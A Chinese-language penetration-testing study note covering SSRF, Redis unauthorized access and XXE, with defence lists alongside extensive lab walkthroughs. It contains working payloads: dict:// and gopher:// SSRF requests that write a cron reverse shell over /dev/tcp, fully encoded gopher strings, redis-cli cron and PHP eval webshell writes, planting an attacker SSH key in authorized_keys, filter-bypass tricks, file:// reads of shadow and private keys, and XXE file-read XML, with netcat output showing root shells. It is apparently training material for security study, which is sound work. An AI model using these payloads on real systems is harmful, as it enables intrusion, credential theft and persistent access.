15.ssrf漏洞和xxe漏洞.md
ssrf漏洞
SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种由攻击者构造、由服务器端发起请求的安全漏洞。核心是服务器替攻击者访问了本不该访问的资源(内网、本地文件、云元数据等),从而突破边界、窃取数据甚至执行代码。
原理与成因
1. 核心原理
攻击者无法直接访问内网 / 本地服务;
存在漏洞的公网服务器拥有访问内网 / 本地的权限;
攻击者诱导服务器访问恶意目标(内网 IP、本地回环、危险协议);
服务器返回响应,攻击者间接获取敏感信息或触发漏洞。
2. 漏洞成因(三要素)
可控输入:存在用户可控制的 URL/IP 参数(如url/file/host),常见于图片加载、远程抓取、网页预览、API 调用等功能。
http://example.com/fetch?url=用户可控URL
高危函数:后端直接将用户输入传入网络请求函数,未过滤。
PHP:file_get_contents()、curl_exec()
Python:requests.get()、urllib.urlopen()
Java:HttpClient、URLConnection
缺乏校验:未限制内网 IP(127.0.0.1、192.168.x.x、10.x.x.x)、敏感端口(22、3306、6379)、危险协议(file://、dict://、gopher://)。
常见攻击场景与危害
1. 内网探测与端口扫描
扫描内网存活主机、开放端口(3389、6379、27017),绘制内网拓扑。
http://example.com/fetch?url=http://192.168.1.1:6379
2. 读取本地文件(file:// 协议)
读取服务器敏感文件:/etc/passwd、/proc/self/environ、C:\Windows\System32\drivers\etc\hosts。
http://example.com/fetch?url=file:///etc/passwd
3. 攻击内网服务(协议滥用)
dict://:探测端口、执行 Redis 命令(未授权)。
dict://192.168.1.1:6379/INFO
gopher://:发送任意 TCP 数据,攻击 MySQL、Redis、Memcached,甚至远程代码执行(RCE)。
4. 云环境元数据窃取
访问云厂商元数据服务(如 AWS/Azure/ 阿里云),获取实例凭证、密钥、配置信息。
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/
5. 绕过防火墙 / ACL
利用服务器信任关系,访问仅内网可访问的管理后台、数据库、API。
6. 拒绝服务(DoS)
让服务器请求大文件或循环请求,耗尽带宽 / CPU / 内存资源。
常用伪协议
| 伪协议 | 核心功能 | 适用场景 | 实战示例 Payload |
|---|---|---|---|
| file:// | 读取服务器本地任意文件 | 读系统账号、密钥、配置、源码、密码文件 | Linux:file:///etc/passwd``file:///etc/shadow``file:///root/.ssh/id_rsa``file:///var/www/html/config.phpWindows:file://C:/Windows/System32/drivers/etc/hosts |
| http://****https:// | 内网主机探测、端口扫描、访问内网 Web 服务 | 扫内网 C 段、端口存活、访问内网后台、运维面板 | 内网探测:http://192.168.152.128:80``http://127.0.0.1:6379``http://127.0.0.1:3306扫 C 段:http://192.168.152.1:80 |
| dict:// | 向 TCP 端口发送单行指令、获取服务回显、识别版本 | 探测 Redis、MySQL、FTP 版本,简单交互命令 | dict://127.0.0.1:6379/info``dict://192.168.152.128:6379/config get requirepass |
| gopher:// | 构造任意 TCP 原始报文(最强万能协议) | 打 Redis 未授权、MySQL、FastCGI、内网任意 TCP 服务、反弹 Shell | Redis 写定时任务示例(简化格式):gopher://127.0.0.1:6379/_set%20shell%20%22%0A%0A*/1%20*%20*%20*%20*%20bash...%22 |
| php://filter | 读取PHP 源码(Base64 编码输出) | 网站源码泄露、拿数据库配置、后台账号密码 | php://filter/read=convert.base64-encode/resource=index.php``php://filter/read=convert.base64-encode/resource=config.php |
| ftp:// | 访问内网 FTP 服务、登录遍历文件 | 内网 FTP 未授权、弱口令读取文件 | ftp://192.168.152.128:21``ftp://admin:123456@192.168.152.128:21 |
| tftp:// | 内网 TFTP 文件下载 | 从内网 TFTP 服务器下载敏感文件 | tftp://192.168.152.100/backup.sql |
防御措施
1.白名单机制:仅允许指定域名 / IP / 协议(如仅http/https、仅外部域名)。
禁止内网 / 保留 IP:拒绝127.0.0.1、192.168.0.0/16、10.0.0.0/8、172.16.0.0/12、169.254.0.0/16。
禁止危险协议:file://、dict://、gopher://、ftp://、ldap://。
限制端口:仅允许 80、443 等常用端口。
2. 请求过程加固
禁用重定向跟随:禁止服务器自动跟随 301/302 重定向。
超时限制:设置短超时(如 5 秒),防止 DoS。
请求头过滤:过滤Host、Referer等敏感头。
DNS 重绑定防护:解析域名后二次校验 IP 是否为内网。
3. 网络层隔离
服务器最小权限:应用服务器仅开放必要端口,禁止访问内网数据库 / 缓存。
防火墙 / 安全组:限制服务器出站流量,仅允许访问指定外部 IP / 域名。
内网隔离:内网服务(数据库、Redis)禁止对公网开放,仅允许应用服务器访问。
4. 安全开发实践
禁用高危函数:避免直接使用file_get_contents()、curl_exec()等,或通过安全封装类调用。
代码审计:重点审查用户可控参数传入网络请求函数的代码。
WAF 防护:部署 Web 应用防火墙,拦截 SSRF 攻击 Payload。
ssrf漏洞绕过防御
1.限制域名时
http://www.aaa.com@www.bbb.com@www.ccc.com #不同函数处理方式不同
php parse_url识别www.ccc.com liburl识别www.bbb.com
2.url短链接
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///C:/234.txt ==>http://fvuw.80v.me
3.进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
C:\Users\Administrator>ping 2130706433
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
4.特殊域名 xip.io可以指向任何域名
127.0.0.1.xip.io 可以解析为127.0.0.1
5.利用[::]
http://169.254.169.254==>http://[::169.254.169.154]
需要支持ipv6访问 比如 nginx需要配置
6.句号
127。0。0。1
您在 /var/spool/mail/root 中有新邮件
[root@centos79 cron]# ping 127。0。0。1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.051 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054 ms
7.crlf编码
CRLF 编码 最简速记
1. 含义
CR = Carriage Return 回车 = \r
LF = Line Feed 换行 = \n
CRLF = 回车 + 换行 = 网页 / 协议标准换行
2. URL 编码(SSRF、Gopher 必用)
\r → %0d
\n → %0a
CRLF 完整编码:%0d%0a
3. 作用
分割 HTTP 请求头
分割 Redis 命令
构造 Gopher 流量
CRLF 注入换行插数据包
8.封闭字符
[root@centos79 cron]# ping ①②⑦.0.0.①
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.030 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.061 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.062 ms
^C
实例
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.152.128:9527/
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.152.128:6379/info
ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP $3582 # Server redis_version:6.0.5 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:b97842fc15c4488c redis_mode:standalone os:Linux 3.10.0-1160.119.1.el7.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:9.3.1 process_id:38303 run_id:3d99f2573bab7d8dc91f3a80eb996f77d511370c tcp_port:6379 uptime_in_seconds:18381 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:303365 executable:/root/redis-6.0.5/src/redis-server config_file:/root/redis-6.0.5/redis.conf # Clients connected_clients:1 client_recent_max_input_buffer:2 client_recent_max_output_buffer:0 blocked_clients:0 tracking_clients:0 clients_in_timeout_table:0 # Memory used_memory:866592 used_memory_human:846.28K used_memory_rss:2514944 used_memory_rss_human:2.40M used_memory_peak:866592 used_memory_peak_human:846.28K used_memory_peak_perc:100.00% used_memory_overhead:803008 used_memory_startup:802936 used_memory_dataset:63584 used_memory_dataset_perc:99.89% allocator_allocated:1028904 allocator_active:1331200 allocator_resident:3739648 total_system_memory:1907519488 total_system_memory_human:1.78G used_memory_lua:37888 used_memory_lua_human:37.00K used_memory_scripts:0 used_memory_scripts_human:0B number_of_cached_scripts:0 maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction allocator_frag_ratio:1.29 allocator_frag_bytes:302296 allocator_rss_ratio:2.81 allocator_rss_bytes:2408448 rss_overhead_ratio:0.67 rss_overhead_bytes:-1224704 mem_fragmentation_ratio:3.13 mem_fragmentation_bytes:1711840 mem_not_counted_for_evict:0 mem_replication_backlog:0 mem_clients_slaves:0 mem_clients_normal:0 mem_aof_buffer:0 mem_allocator:jemalloc-5.1.0 active_defrag_running:0 lazyfree_pending_objects:0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1778678342 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:0 rdb_current_bgsave_time_sec:-1 rdb_last_cow_size:278528 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok aof_last_cow_size:0 module_fork_in_progress:0 module_fork_last_cow_size:0 # Stats total_connections_received:13 total_commands_processed:28 instantaneous_ops_per_sec:0 total_net_input_bytes:890 total_net_output_bytes:172550 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_stale_perc:0.00 expired_time_cap_reached_count:0 expire_cycle_cpu_milliseconds:379 evicted_keys:0 keyspace_hits:0 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:1680 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 tracking_total_keys:0 tracking_total_items:0 tracking_total_prefixes:0 unexpected_error_replies:0 # Replication role:master connected_slaves:0 master_replid:6054e667253aba014cd45e5fd97d9105b59b34c7 master_replid2:0000000000000000000000000000000000000000 master_repl_offset:0 second_repl_offset:-1 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:18.657442 used_cpu_user:19.842232 used_cpu_sys_children:0.005186 used_cpu_user_children:0.001274 # Modules # Cluster cluster_enabled:0 # Keyspace db0:keys=1,expires=0,avg_ttl=0 +OK 1
dict 反弹shell
#设置定时任务路径
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.152.128:6379/config:set:dir:/var/spool/cron
#redis确认执行命令
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/spool/cron"
#设置db文件名
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.152.128:6379/config:set:dbfilename:root
#redis
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "root"
#写入shell
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.152.128:6379/set:shell:%22\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20-i\x20\x3e\x26\x20/dev/tcp/192.168.152.33/7778\x200\x3e\x261\n\n%22
#redis
127.0.0.1:6379> keys *
1) "jaden"
2) "shell"
3) "root"
127.0.0.1:6379> get key shell
(error) ERR wrong number of arguments for 'get' command
127.0.0.1:6379> config get shell
(empty array)
127.0.0.1:6379> get shell
"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.152.33/7778 0>&1\n\n"
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 7778
listening on [any] 7778 ...
192.168.152.128: inverse host lookup failed: Unknown host
connect to [192.168.152.33] from (UNKNOWN) [192.168.152.128] 40712
bash: 此 shell 中无任务控制
[root@centos79 ~]#
gopher协议redis未授权反弹shell
介绍
一、Gopher 是什么
Gopher 是 1991 年由美国明尼苏达大学开发的应用层信息检索协议,用于在 TCP/IP 网络上以菜单式、层级化目录的方式浏览与获取文本 / 文件资源,默认端口 70,RFC 1436 定义。
定位:WWW(HTTP)的前身 / 早期竞争者,被称为 “互联网史前时代的导航系统”。
名字由来:明尼苏达大学吉祥物是地鼠(Gopher);口语中 gofer 指 “跑腿办事的人”;也喻指像地鼠一样 “钻” 进网络找信息。
二、历史:从巅峰到边缘化
1991:发布,主打简洁、纯文本、层级目录,适合当时低速网络与低配电脑。
1993:RFC 1436 正式标准化;一度成为主流互联网入口,学术 / 校园网广泛部署。
1993 末:明尼苏达大学宣布对商用 Gopher 服务器收费授权,社区恐慌、转向 WWW。
1994–1998:HTTP/HTML 兴起,图文、超链接、浏览器完胜纯文本菜单;Gopher 逐渐萎缩。
现状:小众文化 / 极客圈存活;现代浏览器默认禁用 Gopher 支持。
三、技术原理(极简)
1)通信模型
C/S 架构,TCP 70 端口,无状态:一次请求→一次响应→立即断连。
交互流程:
客户端连服务器 70 端口。
发送 selector(选择符,空则返回根目录菜单)。
服务器返回文本菜单 / 内容,以单独一行的 . 结束。
关闭连接。
URL 格式
gopher://host:port/type selector
gopher://192.168.152.128:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69
*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.152.33/1234 0>&1"
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
跳板 192.168.152.129:98是phpstudy的ssrf 目标机:192.168.152.128:6379是centos的redis 192.168.152.33 kali攻击机
python2 gopherus.py --exploit redishttps://github.com/tarunkant/Gopherus #gopher生成shell工具
#kali
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
ln -s /usr/local/bin/pip2 /usr/bin/pip2
pip2 -v
./install.sh
python2 gopherus.py --exploit redis
gopher://192.168.152.128:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.152.33/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
phpstudy curl_exec() 需要二次编码
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher://192.168.152.128:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252469%250D%250A%250A%250A%252A%2f1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2fdev%2ftcp%2f192.168.152.33%2f1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2fvar%2fspool%2fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0a
#kali
nc -lvvp 1234
192.168.152.128: inverse host lookup failed: Unknown host
connect to [192.168.152.33] from (UNKNOWN) [192.168.152.128] 58376
sh: 此 shell 中无任务控制
sh-4.2#
sh-4.2#
sh-4.2#
sh-4.2#
file协议读文件
http://192.168.152.129:98/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///C:/234.txt
redis数据库
一、Redis 是什么
Redis:开源、内存型、键值对数据库
全称:Remote Dictionary Server 远程字典服务
数据默认存在内存,速度极快
也可以持久化到硬盘,断电不丢数据
常用做:缓存、会话存储、排行榜、限流、消息队列
二、核心特点
纯内存运行:读写速度秒杀 MySQL
非关系型数据库:没有表、没有字段,只有 key-value
支持多种数据类型
字符串 String
列表 List
哈希 Hash
集合 Set、有序集合 ZSet
单线程模型:高并发强
默认端口:6379
三、默认配置(渗透重点)
默认端口:6379
默认无密码、允许外网绑定 0.0.0.0
很多企业直接裸奔上线 → 高危漏洞
不需要账号密码就能连接、读写数据、甚至写 webshell、写定时任务拿服务器权限
四、日常使用逻辑(简单理解)
就像一个超大号共享记事本:
存:set 名字 内容
取:get 名字
set username admin
get username
五.渗透最关心:Redis 高危风险(你实战能用得上)
1. 未授权访问(最常见)
外网 6379 开放,无密码直接连攻击者可以:
读取网站缓存、账号密码、session
清空数据库
写入文件 getshell
2. Redis 写文件漏洞(内网 / SSRF 经典利用)
原理:Redis 可以指定路径持久化保存数据只要权限足够,就能往服务器任意目录写文件:
写 /etc/crontab 定时任务 → 反弹 shell 控服务器
写网站目录 php/jsp 文件 → WebShell 后门
写 Windows 启动项 → 开机持久化
利用条件
Redis 监听 0.0.0.0 外网可连
无密码 / 弱密码
服务器可写目录权限充足
3. SSRF 打 Redis
你之前学的 SSRF 经典打法:用 gopher://、dict:// 协议对内网 6379 端口发指令,间接控制内网 Redis,拿下内网服务器
六.Redis 基础常用命令
# 连接 redis
redis-cli -h 目标IP -p 6379
# 查看所有 key
keys *
# 取值
get 键名
# 设置值
set 键 值
# 查看配置
config get dir
config get dbfilename
# 修改保存路径 + 文件名(写Shell核心)
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST[cmd]);?>"
save
七、Redis 运行环境
Linux / Windows 都能装
常和 Nginx、Tomcat、SpringBoot 配套
公网中间件、内网服务器大量部署
centos7.9安装redis
wget https://download.redis.io/releases/redis-6.0.5.tar.gz
tar -zxvf redis-6.0.5.tar.gz
cd redis-6.0.5/
升级到gcc 9.3:
# 1. 安装 SCL 官方密钥(必须装,否则一直报错)
sudo rpm --import https://www.centos.org/keys/RPM-GPG-KEY-CentOS-SIG-SCLo
# 2. 重新生成缓存
sudo yum clean all
sudo yum makecache
# 3. 现在正常安装高版本 GCC(推荐9,稳定好用)
sudo yum install -y devtoolset-9-gcc devtoolset-9-gcc-c++
# 4. 临时启用(当前终端生效)
scl enable devtoolset-9 bash
# 5. 永久启用(重启后也生效)
echo "source /opt/rh/devtoolset-9/enable" >> /etc/profile
source /etc/profile
# 6. 验证版本
gcc -v
g++ -v
make&&make install
redis-server
多开一个终端
netstat -lntup 查看6379端口是否开放
vi redis.conf
requirepass foobared ---> requirepass 123456 #为了展示未授权访问漏洞给就不改
# daemonize 的值从 no 修改成 yes(Redis服务默认是前台运行,需要修改为后台运行)
daemonize no ---> daemonize yes
#让其他机器能连接上
#bind 127.0.0.1 ::1 ---> bind 0.0.0.0 ::1
vi /etc/systemd/system/redis.service
[Unit]
Description=Redis Server
After=network.target
[Service]
# 重点:必须加 forking !!! 因为 Redis 后台运行
Type=forking
ExecStart=/root/redis-6.0.5/src/redis-server /root/redis-6.0.5/redis.conf
ExecStop=/root/redis-6.0.5/src/redis-cli shutdown
Restart=always
User=root
# 解决权限问题
PermissionsStartOnly=true
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl start redis
systemctl status redis
systemctl stop redis
systemctl enable redis #自启动
kali装redis客户端
# 更新软件源
apt update && apt upgrade -y
# 安装 openssh-server(你已经装好了,可以跳过)
apt install -y openssh-server
# 启动 SSH 服务(注意:Kali 里服务名是 ssh,不是 sshd!)
systemctl start ssh
# 设置开机自启
systemctl enable ssh
# 检查服务状态(显示 active (running) 就成功了)
systemctl status ssh
wget http://download.redis.io/redis-stable.tar.gz
tar -zxf redis-stable.tar.gz
make
cp ./src/redis-cli /usr/bin/
redis-cli -h 192.168.152.128 #连接
命令
set name hello #设置键值
get name #取键
# 查所有key
keys *
# 判断key是否存在
exists name
# 查看key类型
type name
# 删除单个key
del name
# 清空当前库所有数据
flushdb
# 清空所有库所有数据
flushall
kali通过未授权连接redis 拿到centos7.9 shell
kali攻击机 centos目标机器(redis没有密码)
kali 终端1 ==> 拿到shell
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 7777
listening on [any] 7777 ...
192.168.152.128: inverse host lookup failed: Unknown host
connect to [192.168.152.33] from (UNKNOWN) [192.168.152.128] 42990
bash: 此 shell 中无任务控制
[root@centos79 ~]# whami
whami
bash: whami: 未找到命令...
[root@centos79 ~]# whoami
whoami
root
kali 终端2 ==>连接目标机器redis
┌──(root㉿kali)-[/home/kali]
└─# redis-cli -h 192.168.152.128
192.168.152.128:6379> set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.152.33/7777 0>&1\n\n"
OK
192.168.152.128:6379> config set dir /var/spool/cron
OK
192.168.152.128:6379> config set dbfilename root
OK
192.168.152.128:6379> save
OK
公私钥免密登录root
kali本地终端
┌──(root㉿kali)-[/home/kali]
└─# cd /root/.ssh
┌──(root㉿kali)-[~/.ssh]
└─# ls
agent id_rsa id_rsa.pub
┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDk0CmfkJtNKsag0+AzYnuwM+/f3YsgRm/B+hxX/+QcIy1s4nXPQyWj4Bym17HrxBpydW59h3fgdi3YZeIwGQTaK8zwnZoBkBwGk2UanwyyfoLRB0uFaphTgDmIaX/GH+A69yusgAP9rCJMEMCo0Epw/kd+p7z7sA8qJM4Jyj4YZMpqsK+xrHLeiKdCBES6bcIx3PHKipF371PJKKbFM8oZ27uOBkTuiH9Rz9XhcyqLrG3T33ei9IrsulTtU8XO23y4WuPTrHCKNFCQhxLJvlEDMdwPtVpimFRDZ7stIbuqr2XM+Z+om5vPorNDKAkOz3rap92o4l4PthT4zHgAeOP4+1818zEgXoSlXAHT2NFu+rl5fYsf2oST9N0NCNuBpiRvcwqXFo0Q3HshKLeLdBa70YBFOUiRtv5EbK2Khi4ZsqkL7b6zubG5RdL8Qe304bmnk4xodG4DMcVkOPNFXetp3H+n1LAnNoQijvpq+H0bgh/nH2RXPYno54VfQ3vpgos= root@kali
┌──(root㉿kali)-[~/.ssh]
└─# ssh root@192.168.152.128
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last failed login: Wed May 13 21:41:08 CST 2026 from 192.168.152.33 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Wed May 13 20:29:13 2026 from 192.168.152.12
-bash: “/nsource: 没有那个文件或目录
[root@centos79 ~]#
kali反弹centos shell终端
这里由于写密钥ssh-->sh 少了s 一直没连上 需shell注意写入 最好用echo
┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 7777
listening on [any] 7777 ...
192.168.152.128: inverse host lookup failed: Unknown host
connect to [192.168.152.33] from (UNKNOWN) [192.168.152.128] 43012
bash: 此 shell 中无任务控制
[root@centos79 ~]# cd /root/.ssh
cd /root/.ssh
[root@centos79 .ssh]# ls
ls
authorized_keys
id_rsa
id_rsa.pub
known_hosts
#这个文件写入kali公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDk0CmfkJtNKsag0+AzYnuwM+/f3YsgRm/B+hxX/+QcIy1s4nXPQyWj4Bym17HrxBpydW59h3fgdi3YZeIwGQTaK8zwnZoBkBwGk2UanwyyfoLRB0uFaphTgDmIaX/GH+A69yusgAP9rCJMEMCo0Epw/kd+p7z7sA8qJM4Jyj4YZMpqsK+xrHLeiKdCBES6bcIx3PHKipF371PJKKbFM8oZ27uOBkTuiH9Rz9XhcyqLrG3T33ei9IrsulTtU8XO23y4WuPTrHCKNFCQhxLJvlEDMdwPtVpimFRDZ7stIbuqr2XM+Z+om5vPorNDKAkOz3rap92o4l4PthT4zHgAeOP4+1818zEgXoSlXAHT2NFu+rl5fYsf2oST9N0NCNuBpiRvcwqXFo0Q3HshKLeLdBa70YBFOUiRtv5EbK2Khi4ZsqkL7b6zubG5RdL8Qe304bmnk4xodG4DMcVkOPNFXetp3H+n1LAnNoQijvpq+H0bgh/nH2RXPYno54VfQ3vpgos= root@kali" > /root/.ssh/authorized_keys
[root@centos79 .ssh]#cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDk0CmfkJtNKsag0+AzYnuwM+/f3YsgRm/B+hxX/+QcIy1s4nXPQyWj4Bym17HrxBpydW59h3fgdi3YZeIwGQTaK8zwnZoBkBwGk2UanwyyfoLRB0uFaphTgDmIaX/GH+A69yusgAP9rCJMEMCo0Epw/kd+p7z7sA8qJM4Jyj4YZMpqsK+xrHLeiKdCBES6bcIx3PHKipF371PJKKbFM8oZ27uOBkTuiH9Rz9XhcyqLrG3T33ei9IrsulTtU8XO23y4WuPTrHCKNFCQhxLJvlEDMdwPtVpimFRDZ7stIbuqr2XM+Z+om5vPorNDKAkOz3rap92o4l4PthT4zHgAeOP4+1818zEgXoSlXAHT2NFu+rl5fYsf2oST9N0NCNuBpiRvcwqXFo0Q3HshKLeLdBa70YBFOUiRtv5EbK2Khi4ZsqkL7b6zubG5RdL8Qe304bmnk4xodG4DMcVkOPNFXetp3H+n1LAnNoQijvpq+H0bgh/nH2RXPYno54VfQ3vpgos= root@kali
[root@centos79 .ssh]# ls -l
ls -l
总用量 16
-rw-r--r--. 1 root root 562 5月 13 20:21 authorized_keys
-rw-------. 1 root root 1675 5月 13 20:11 id_rsa
-rw-r--r--. 1 root root 400 5月 13 20:11 id_rsa.pub
-rw-r--r--. 1 root root 176 5月 13 20:11 known_hosts
命令
# 1. 开启允许 root 登录
sed -i 's/#PermitRootLogin yes/PermitRootLogin yes/' /etc/ssh/sshd_config
# 2. 开启公钥认证
sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
# 3. 重启 sshd 服务
systemctl restart sshd
chown root:root /root/.ssh
chown root:root /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
这个适合shell是root权限 root密码解密不了 直接免密登录 最重要的是目标机器和攻击机都是公网ip
redis未授权访问防御
1.设置密码
2.禁止外网监听 只监听内网 本机
3.(防止写文件、写定时任务)
4.禁止 Redis 以 root 运行(关键安全)
5.防火墙 / 安全组封禁 6379 外网端口
6.禁止 Redis 写入本地文件
7. 开启保护模式(Redis 默认保护)
8.限制访问 IP(系统层防护)
9. 版本升级
10.定时巡检与端口隐藏
xxe漏洞
XXE 漏洞
一、什么是 XXE
全称:XML External Entity 外部实体注入
原理:PHP/Java/Python 等程序解析 XML 时,允许加载外部实体,恶意构造 XML 标签,读取本地文件、探测内网、执行命令、发起内网请求。
出现场景:
接口接收 XML 格式 数据、上传 XML、POST 传 XML 参数
二、核心三个符号
<!DOCTYPE> 定义文档类型
<!ENTITY> 定义实体变量
&xxx; 调用实体
四、XXE 能干嘛
读取任意本地文件(密码、配置、密钥)
内网端口扫描
内网服务探测(等同 SSRF)
远程加载恶意 DTD 文件
部分环境执行系统命令(PHP 环境)
DOS 服务器(大实体卡死)
五、三种 XXE 类型
普通 XXE(有回显)
直接读取文件返回页面,最简单
盲 XXE(无回显)
没有返回内容,主动把文件内容带出到攻击者服务器
远程 DTD 引入
加载外网恶意 dtd 文件,绕过过滤
七、漏洞成因
后端没有禁用外部实体
允许解析 SYSTEM 外部调用
直接接收 XML 数据不过滤
八、防御方法(面试必答)
禁用 XML 外部实体解析(最有效)
禁止加载外部 DTD
过滤 <!ENTITY、SYSTEM 关键字
不使用 XML 格式接收数据,改用 JSON
升级解析库版本
特征:在HTTP的Request 报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞
Content-type:text/xml application/xml
windows
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///c:/234.txt">
]>
<user>&file;</user>
linux
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<name>&f;</name>
防御
一、核心原理
关闭XML 外部实体解析,禁止加载外部 DTD、外部实体,从根源杜绝 XXE。
二、各语言防御代码
三、通用配置防御
禁止 DOCTYPE 声明
直接拦截 <!DOCTYPE 关键字,不让传入
过滤危险协议
拦截:file://、php://、http://、ftp://
禁止接收 XML 格式
业务能用 JSON 就全部改用 JSON,彻底杜绝 XXE
限制 XML 请求长度
防止超大实体造成DOS 拒绝服务
四、中间件 / 框架防御
升级 XML 解析组件到最新版
关闭服务器 XML 外部实体全局配置
WAF 拦截 XXE 特征:ENTITY、SYSTEM、PUBLIC
五、开发规范
不直接原生解析用户传入 XML
不信任 XML 内任何实体引用
禁止 XML 读取本地文件、发起内网请求
所有 XML 内容做严格白名单校验
六、最简总结(背这句)
关闭外部实体加载、禁用 DTD、过滤危险协议、优先使用 JSON 传输数据,即可彻底防御 XXE 漏洞。
七、禁止 XXE 一句话口诀

浙公网安备 33010602011771号